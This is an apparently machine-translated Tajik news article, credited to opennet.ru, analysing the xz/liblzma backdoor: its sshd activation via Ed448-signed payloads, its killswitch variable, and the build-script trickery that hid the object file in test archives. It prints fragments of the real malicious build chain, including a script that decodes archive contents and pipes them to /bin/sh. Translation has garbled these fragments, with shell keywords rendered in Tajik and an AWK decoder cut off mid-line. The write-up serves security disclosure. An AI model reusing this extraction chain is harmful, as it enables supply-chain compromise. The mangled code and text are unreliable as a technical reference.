Таҳлили мантиқи фаъолсозӣ ва кори пушти дари бастаи xz

Натиҷаҳои пешакӣ аз коркарди баръакси файли объекти зараровар дар liblzma дар натиҷаи маъракаи тела додани пушти дари бастаи xz дастрасанд. Дар паси дарвоза танҳо ба системаҳои x86_64 дар асоси ядрои Linux ва китобхонаи Glibc C таъсир мерасонад, ки дар он ямоқи иловагӣ ба sshd истифода мешавад, ки бо китобхонаи libsystemd барои дастгирии механизми sd_notify пайваст мешавад. Дар аввал тахмин карда мешуд, ки дари пуштибон метавонад аутентификатсияи sshd-ро гузарад ва тавассути SSH ба система дастрасӣ пайдо кунад. Таҳлили муфассалтар нишон дод, ки ин тавр нест ва пушти дарвоза имкон медиҳад, ки коди худсаронаро дар система бидуни ҳеҷ гуна нишона дар гузоришҳои sshd иҷро кунад.

Аз ҷумла, функсияи RSA_public_decrypt, ки аз ҷониби пушти дари пуштибон боздошта мешавад, имзои мизбонро бо истифода аз калиди собит Ed448 тасдиқ мекунад ва агар бомуваффақият санҷида шавад, рамзи интиқоли мизбони беруна бо истифода аз функсияи system() дар марҳилаи пеш аз барқарорсозии раванди sshd имтиёзҳоро иҷро мекунад. Маълумоте, ки рамзи иҷроро дар бар мегирад, аз параметри "N", ки ба функсияи RSA_public_decrypt дода шудааст (майдони "n" аз сохтори rsa_st дорои калиди оммавии аз ҷониби ҳости беруна интиқол додашуда) гирифта мешавад, ки бо маблағи санҷиш тасдиқ карда мешавад ва бо истифода аз калиди пешакӣ муайяншуда рамзкушо карда мешавад. ChaCha20 дар марҳилаи пеш аз санҷиш имзои рақамии Ed448.

Ҳамчун аломати фаъол кардани пушти дари sshd, механизми мубодилаи калидҳои ҳост истифода мешавад. Backdoor аз он истифода мебарад, ки сертификатҳои OpenSSH калиди ҷамъиятии шахсе, ки имзоро тавлид кардааст, дохил мешаванд ва танҳо ба калиди омодакардаи ҳамлакунанда ва ба калиди собит муайяншудаи Ed448 мувофиқат мекунанд. Агар тафтиши имзои калиди ҷамъиятӣ ноком шавад ё тамомияти маълумоти иҷро тасдиқ нашавад, пас дари пуштибонӣ назоратро ба функсияҳои стандартии SSH бармегардонад.

Азбаски калиди шахсии ҳамлакунанда номаълум аст, татбиқи коди тасдиқкунӣ, ки ба шахсони бегона имкон медиҳад, ки пушти дарро фаъол созанд ва сканерро барои ҳостҳои осебдида дар шабака амалӣ созанд, ғайриимкон аст. Тадқиқотчиён скриптеро омода кардаанд, ки усули иваз кардани калиди ҷамъиятӣ бо мундариҷаи худсарона ба сертификати OpenSSH, ки аз ҷониби муштарии SSH интиқол дода мешавад ва он дар функсияи RSA_public_decrypt коркард мешавад, ки аз ҷониби пушти дари пуштибон боздошта мешавад.

Муҳаққиқон инчунин мавҷудияти сохтореро мушоҳида карданд, ки паси дарро (killswitch) дар системаи маҳаллӣ безарар мекунад, агар тағирёбандаи муҳити зист "yolAbejyiejuvnup = Evjtgvsh5okmkAvj" пеш аз оғози sshd муқаррар карда шавад.

Илова бар ин, мо метавонем таҳлили муфассали конструксияҳои ҷилдиро қайд кунем, ки барои иштибоҳ кардани раванди истихроҷи файли объект бо пушти дар ва иваз кардани он ба китобхонаи liblzma истифода мешаванд. Ҳангоми васл кардани бастаи xz, код аз скрипти build-to-host.m4 оғоз карда шуд, ки бойгонии bad-3-corrupt_lzma2.xz-ро дар байни файлҳои санҷишӣ пайдо кард, баъзе аломатҳоро дар он иваз кард ва онро ба бойгонии солим табдил дод. ва скрипти ҷилдиро аз он истихроҷ кард. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\ n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr «\t \-_» » \t_\-«'

Дар натиҷа скрипти ниҳонӣ қисм ба порча скрипти дигари ниҳонӣ аз мундариҷаи бойгонии good-large_compressed.lzma истихроҷ карда, пайдарпайии муайянро бо фармонҳои сар ва дум гузаред ва аломатҳоро бо фармони tr иваз кард. ####Салом#### # чанд байти бинарӣ дар ин ҷо, аммо чун шарҳ аст, онҳо сарфи назар карда мешаванд [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан 0 [ ! $(uname) = "Linux" ] && баромадан аз 0 eval `grep ^srcdir= config.status` агар test -f ../../config.status; пас арзёбӣ `grep ^srcdir= ../../config .status` srcdir="../../$srcdir" fi содирот i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (сар - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (сар -c +1024 >/dev/null) && сар -c +2048 && (сар -c +1024 >/dev/null) && сар -c +2048 && (сар -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F хом —lzma1 -dc|/bin/sh ####Ҷаҳон####

Дар натиҷа, як скрипти начандон мураккаб ва ҳаҷмӣ ба вуҷуд омад, ки бевосита файлро бо пушти дари бойгонии good-large_compressed.lzma истихроҷ кард, рамзкушоӣ кард ва дар liblzma ҷойгир кард. Дар байни чизҳои дигар, скрипт татбиқи механизми плагинро дар бар мегирад, ки имкон медиҳад, ки ҷузъҳои иловагии иҷрошаванда тавассути ҷойгиркунии бойгониҳои нави санҷишӣ бидуни тағир додани good-large_compressed.lzma ва bad-3-corrupt_lzma2.xz, вале бо истифода аз ҷустуҷӯи имзо. Рамз инчунин рамзкушоро дар асоси алгоритми RC4, ки бо забони AWK амалӣ карда шудааст, дар бар мегирад: N=0 W=88664 дигаре N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | арзёбӣ $i | LC_ALL=C sed “s/\(.\)/\1\n/g” | LC_ALL=C awk 'BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i) /dev/null 7>&5) && head -c +$W) > liblzma_la-crc0-fast.o || дуруст

Манбаъ: opennet.ru

Илова Эзоҳ